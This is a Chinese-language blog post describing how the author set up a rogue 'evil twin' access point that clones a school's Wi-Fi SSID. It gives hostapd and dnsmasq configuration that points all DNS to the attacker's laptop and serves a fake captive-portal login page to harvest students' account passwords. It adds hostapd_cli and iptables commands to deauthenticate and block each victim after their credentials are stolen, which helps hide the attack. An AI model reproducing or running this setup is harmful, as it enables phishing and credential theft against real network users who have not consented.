很久以前看过一篇关于WIFI脆弱性的介绍(找了好久终于被我找到了),其中有一部分讲的是由于本身协议的弱点,相同 ssid 的热点会被合并为同一个,至于用户最终连接哪个热点取决于他所能接收到的信号强度。不知道此刻各位看官脑洞有没有大开?
俗话说杀生不如宰熟,所以直接就向学校 ap 下手了。提前声明几个全局变量:
ssid: NICESHOT
os: ubuntu
“hostapd is a user space daemon for access point and authentication servers. “
sudo apt-get install hostapd
更改配置文件 /etc/hostapd-hotspot.conf 如下:
# WiFi Hotspot
interface=wlan0
driver=nl80211
#Access Point
ssid=NICESHOT
hw_mode=g
# WiFi Channel:
channel=1
#macaddr_acl=0
auth_algs=1
wmm_enabled=0
#ignore_broadcast_ssid=0
#wpa=3
#wpa_passphrase=1
#wpa_key_mgmt=WPA-PSK
#wpa_pairwise=TKIP
#rsn_pairwise=CCMP
ctrl_interface=/var/run/hostapd
可能还需要更改 /etc/default/hostapd 为
DAEMON_CONF=/etc/hostapd/hostapd.conf
然后测试配置文件hostapd -d /etc/hostapd-hotspot.conf
, 没有什么问题的话就可以启动服务了
service hostapd start
Dnsmasq is a free software DNS forwarder and DHCP server for small networks. It is considered to be easily configured, with low system resource usage.
sudo apt-get install dnsmasq
更改配置文件 /etc/dnsmasq.conf
log-facility=/var/log/dnsmasq.log
address=/#/192.168.1.1
interface=wlan0
dhcp-range=192.168.1.20,192.168.1.254,12h
no-resolv
然后比较关键的是配置 wlan0 IP 地址 ifconfig wlan0 192.168.1.1
。
稍微总结一下,到此为止,我们做了这么些事情:创建 WFIFI 热点,监听 wlan0 口,然后通过配置DHCP给所有连接到此 AP 的终端分配IP地址。另外上面的这条配置address=/#/192.168.1.1
,将所有地址解析到我们的电脑 IP。
此处就不详说了,最终达到的效果是访问 192.168.1.1
是我们的钓鱼网站。
因为校园网需要登陆,也就是说连接校园 AP 之后将所有 HTTP 页面跳转到网关登陆界面。所以我们也部署一个一模一样的登陆网关,然后所有连接的用户跟往常一样登陆网关,神不知鬼不觉得就把账号密码泄露过来了。稍后我会分享此处的简单代码 DEMO 到 GitHub。
当然不能停止在这么简陋的东西上面,我们需要更进一步。
毕竟我们只有一个无线网卡,用作 AP 之后就不能接入其他网络了,环境也不允许拉一根网线,用户登录网关之后根本没办法继续上网,很快你的伪 AP 就会被发现。所以我们强制所有登录网关,也就是被我们窃取密码的用户离线。
hostapd_cli deauthenticate 38:bc:1a:88:12:61
iptables -A INPUT -m mac --mac-source 38:bc:1a:88:12:61 -j DROP
第一句强制用户离线,之前在配置 hostapd 的时,这句就是为了达到这个目的 ctrl_interface=/var/run/hostapd
,第二句将所有该设备的请求丢弃。这就是当一个人丧失所有利用价值之后的下场!
当然,前提是我们自己的电脑还可以通过其他口,比如 eth0,访问正常网络。
通过配置合理强大的 iptables,精心布局,我们不仅仅获取网关密码这么简单的并且还需要特别严格苛刻的场景的蛋糕。拭目以待。。。
因为自己的装备跟技术很挫,在配置之前那些东西的时候碰到了一些问题,险些出师未捷身先死。
在 ubuntu 下,service networking restart
,然后你就各种问题爽翻天
- 现在,至少目前为止插上网线之后还需要 ifup eth0
才能通过有线上网
- 现在,至少目前为止我连接 WIFI 的时候需要这么做(运气好的话差不多能连接上)
ifup wlan0 #up the wlan port
iwlist wlan0 scan #list availabel wifi ssid
iwconfig wlan0 essid "NICESHOT" #no password
iwconfig wlan0 ssid "NICESHOT" key password #with password
dhcpclient wlan0 #get ip via dhcp